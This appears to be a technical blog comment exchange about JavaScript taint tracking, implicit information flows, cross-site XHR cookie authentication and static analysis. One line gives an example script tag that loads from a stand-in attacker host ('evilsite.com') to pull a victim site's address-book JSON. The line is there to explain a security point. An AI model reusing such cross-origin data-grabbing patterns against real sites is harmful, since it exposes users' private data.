Consider this code: var A = 0, C = 0; var B = secret; if (B) { A = 1; } else { C = 1; } submit(C); In unsound dynamic-only data tainting, if B (secret) is true, then A will be tainted with the secret's label, else C will be. But this misses the "implicit flow" (Dorothy Denning, SOSP 1976 -- an OS journal, that's where the action was then!) through the else or then clause not taken and into the other (C or A) variable. So in sound dynamic data tainting, one must associate a trust label with the state of execution, call it the program counter (pc), and taint the pc when control flow forks based on a secret (on any data whose trust label is not the pc's label). The tainted pc then taints effects in all paths that could be taken -- this handles implicit flows. The problem then becomes untainting the pc. Netscape 3's optional security model could not untaint, lacking static analysis of all possible effects committed by alternative control flow graph paths (liveness analysis can help too). Such analyses are hard without more certainty about name binding and data types. This is an interesting area of research, which we're pursuing at Mozilla in partnership with some academic researchers. I'll have more to say about it shortly.

(I believe that's the paper I had found originally.) It does sound extremely interesting. And I do see how static analysis would speed things up, but I don't see why dynamic analysis wouldn't be possible (although I can see it being too slow to be practical).

But if no cookies are sent, there is no problem. For example, suppose evilsite.com did the following instead: <script src="evilsite.com?graburl.cgi?loc=https://mail.victimsite.com/address-book.json"></script> evilsite.com can do that today, and will forever be able to do that. There is no problem, though, because the 'graburl.cgi' script can't send the user's cookies to victimsite.com. I don't understand why there is any confusion about this.

There's no confusion. You are simply assuming proper authentication, which is over-optimistic (Murphy was an optimist). Joe Walker's blog did not get read by everyone using JSON across origins. Reality bites (major sites have had firedrills).

I can only comment on the ones I've heard about, which would have been solved by not sending/accepting cookies.

Defense in depth requires more than one line of defense. This is why cookie-sending in XS-XHR is a hot issue. Will existing sites fail to authenticate where they should? Will they naively extend their existing auth systems from XHR to XS-XHR, compromising non-public data? Will mashup sites over-auth too much thereby training users to re-enter reusable credentials? These are hard, ultimately human-factors problems. The solutions are not obvious, and the difficulties here are vexing the Web API committee, or at least the members of it I know.

I guess I'm an optimist because I believe there are solutions, but I won't try to reason them out right now for the sake of length.

To get away from XS-XHR and back to JSON data and JS/ES: Jesse's whole point in filing that Mozilla bug was to plead for greater defense in depth, specifically greater Integrity for object and array initialisers.

Defense-in-depth can be carried too far (e.g. noscript.net).

I believe you can't 'prove' much that's interesting, anyway... (again, that's why I don't believe in the utility of code verification).

Bill Gates begs to differ (device driver verification, also great work from various MSR researchers), and we're seeing wins from static analysis in the Mozilla world. Not full program verification, mind you, but formal methods should not be dismissed wholesale based on poor results from the past. Proving correctness and soundness are hard, but checking programmer assumptions and would-be invariants -- that's what ES4 makes easier with its gradual types. That kind of "model-checking" or "shape testing" is also what a lot of JS code, and a lot of Mozilla code (including C++ code) needs. You don't have to "believe in the utility" of anything. Either analysis is useful, or it isn't. It's clear that checking latent types in JS, or checking other invariants that can't be expressed via the weak notion of types in JS and the DOM today, is hard enough that Ajax libraries spend a great many lines of code on it, with standardized patterns and helpers. Such code patterns are signs of gaps in JS1/ES3, and the Ajax libraries can't fill these gaps completely (e.g., because they can't guarantee name bindings or seal objects against mutation).

What I meant is that code verification is often more pain than it's worth (so not just utility, but expected utility). In most cases, the problem isn't whether your code implements some spec perfectly but whether the code/spec will work "in the real world". This requires (statistical) testing, which almost always bring to light spec implementation flaws anyway.

If code verification doesn't cost any time, resources, etc. then I have no problem with it. Alternatively, if you need to do it because it is an essential part of the solution, then I also have no problem with it (many cases of 'typeof'-style uses fall into this category). And if you've only got one shot to get things right --- like sending people into space --- useful again. But often that's not the case.

Just as an example, I (vaguely) remember being taught that to make code analysis possible, it was necessary for functions to contain only one return statement, right at the end. I've no idea if this is still true, but the point is that in order to 'buy' code analysis, I had to 'pay' by writing denser and more convoluted code, which I would have to extensively test anyway.

In the message I found, you mention logging (and other post-hoc instrumentation) as a potential use for AOP. Being from a simulation background, I'd find statistics a compelling use. Being a programmer, I'd find debugging a compelling use. Being a hacker (not cracker!), I'd find modifying other people's code another compelling use.

Not to digress again, but the conclusion Mitch reached, in his summary words, was "sound plugin APIs good, AspectJ-like hacks bad". Debugging is a whole other can of worms. It must be able to violate abstractions. But let's leave it for another day. It should be sufficient to note here that debuggers are privileged in ways ordinary ES code, even with ES4 reflection APIs being proposed, is not.

Plugin APIs don't work if you don't know which points need to be plugged into ahead of time. The main advantage of plugin APIs is being able to separate stable from unstable parts of the code across 'versions'. (But if you really want to access, for example, 'private' webkit functions, you should have that choice.)